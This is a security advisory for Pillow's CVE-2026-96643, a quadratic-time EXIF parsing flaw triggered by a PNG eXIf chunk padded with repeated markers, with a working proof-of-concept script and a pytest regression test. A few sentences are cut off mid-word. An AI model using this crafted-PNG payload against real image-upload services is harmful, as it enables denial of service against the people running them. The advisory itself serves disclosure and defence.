---
id: CVE-2026-96643
aliases:
  - GHSA-g4qv-2jxx-769h
  - BIT-pillow-2026-96643
  - PYSEC-2026-4342
title: 'Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time'
summary: 'Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time'
severity: high
cvss: 6.5
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H'
vendor: pillow
product: pillow
ecosystem: pip
affected:
  - 'pillow >= 11.0.0, < 13.0.0'
patched:
  - pillow 13.0.0
published: '2026-10-22'
updated: '2026-10-29'
sourceUpdated: '2026-10-29T10:55:44.091799759Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-g4qv-2jxx-769h'
references:
  - url: >-
      https://github.com/python-pillow/Pillow/security/advisories/GHSA-g4qv-2jxx-769h
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-96643'
  - url: 'https://github.com/python-pillow/Pillow/pull/10073'
  - url: >-
      https://github.com/python-pillow/Pillow/commit/806e38381c781f32bbd22f4cd026678acd40fd6c
  - url: 'https://github.com/python-pillow/Pillow'
  - url: 'https://github.com/python-pillow/Pillow/releases/tag/13.0.0'
  - url: >-
      https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-96643.json
  - url: 'https://access.redhat.com/security/cve/CVE-2026-96643'
  - url: 'https://bugzilla.redhat.com/show_bug.cgi?id=2558566'
  - url: 'https://www.cve.org/CVERecord?id=CVE-2026-96643'
  - url: 'https://github.com/advisories/GHSA-g4qv-2jxx-769h'
tags:
  - osv
  - pip
  - cve.org
  - csaf
  - vex
  - red-hat
  - ghsa
cvssSource: osv
epss: 0.00373
epssPercentile: 0.31199
ssvc:
  exploitation: none
  automatable: 'yes'
  technicalImpact: partial
  timestamp: '2026-10-23T17:32:48.986807Z'
cwe:
  - CWE-407
  - CWE-606
scores:
  osv: 6.5
  cna: 7.1
  vendor: 7.5
ingestedAt: '2026-10-21T21:13:32.750Z'
---

## Overview

### Summary
  A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.

  ### Details
  `Exif.load()` in `src/PIL/Image.py` strips a marker from the start of the EXIF data like this:

  ```python
  while data and data.startswith(b"Exif\x00\x00"):
      data = data[6:]
  ```

  Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.

  `chunk_eXIf()` in `src/PIL/PngImagePlugin.py` puts the raw PNG eXIf chunk straight into `info["exif"]` with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with `MAX_TEXT_CHUNK` and `MAX_TEXT_MEMORY`. The eXIf chunk has no such cap.

  If the eXIf chunk is filled with repeated `Exif\x00\x00` markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.

  ### Steps to reproduce
  This builds a small PNG in memory and times `Image.open().getexif()` on it. No external file needed.

  ```python
  import time
  from io import BytesIO
  from PIL import Image, PngImagePlugin

  def chunk(cid, *data):
      fp = BytesIO()
      PngImagePlugin.putchunk(fp, cid, *data)
      return fp.getvalue()

  MAGIC = PngImagePlugin._MAGIC
  IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
  IDAT = chunk(b"IDAT")
  IEND = chunk(b"IEND")

  marker = b"Exif\x00\x00"
  exif_chunk = chunk(b"eXIf", marker * 300_000)  # 1.8MB, all markers
  data = MAGIC + IHDR + exif_chunk + IDAT + IEND

  start = time.time()
  with Image.open(BytesIO(data)) as im:
      im.getexif()
  print("took", time.time() - start, "seconds")
  ```

  Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.

  Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a
  few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.

  A pytest version of this test, using `pytest-timeout` so a test run does not hang if the bug is present, is  it fails with `Failed: Timeout (>2.0s) from pytest-timeout`.

  ```python
  import pytest
  from io import BytesIO
  from PIL import Image, PngImagePlugin

  def chunk(cid, *data):
      fp = BytesIO()
      PngImagePlugin.putchunk(fp, cid, *data)
      return fp.getvalue()

  MAGIC = PngImagePlugin._MAGIC
  IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
  IDAT = chunk(b"IDAT")
  IEND = chunk(b"IEND")

  @pytest.mark.timeout(2)
  def test_exif_load_is_not_quadratic():
      marker = b"Exif\x00\x00"
      exif_chunk = chunk(b"eXIf", marker * 300_000)
      data = MAGIC + IHDR + exif_chunk + IDAT + IEND
      with Image.open(BytesIO(data)) as im:
          im.getexif()
  ```

  ### Impact
  - Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear.
  - Confidentiality: none.
  - Integrity: none.
  - This fires through `Image.getexif()`, `Image._getexif()`, and `ImageOps.exif_transpose()`. `exif_transpose()` is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.

## Affected packages

- `pillow >= 11.0.0, < 13.0.0`

## Remediation

Upgrade to a patched release:

- `pillow 13.0.0`

## Vendor advisories

- **Red Hat VEX** · Important · affected: Exploit Intelligence, Lightspeed Core, OpenShift Lightspeed, Red Hat AI Inference Server, Red Hat Ansible Automation Platform 2, Red Hat Enterprise Linux 8, … · no fix planned: Exploit Intelligence, Lightspeed Core, OpenShift Lightspeed, Red Hat AI Inference Server, … · updated 2026-10-23 · [vex](https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-96643.json)
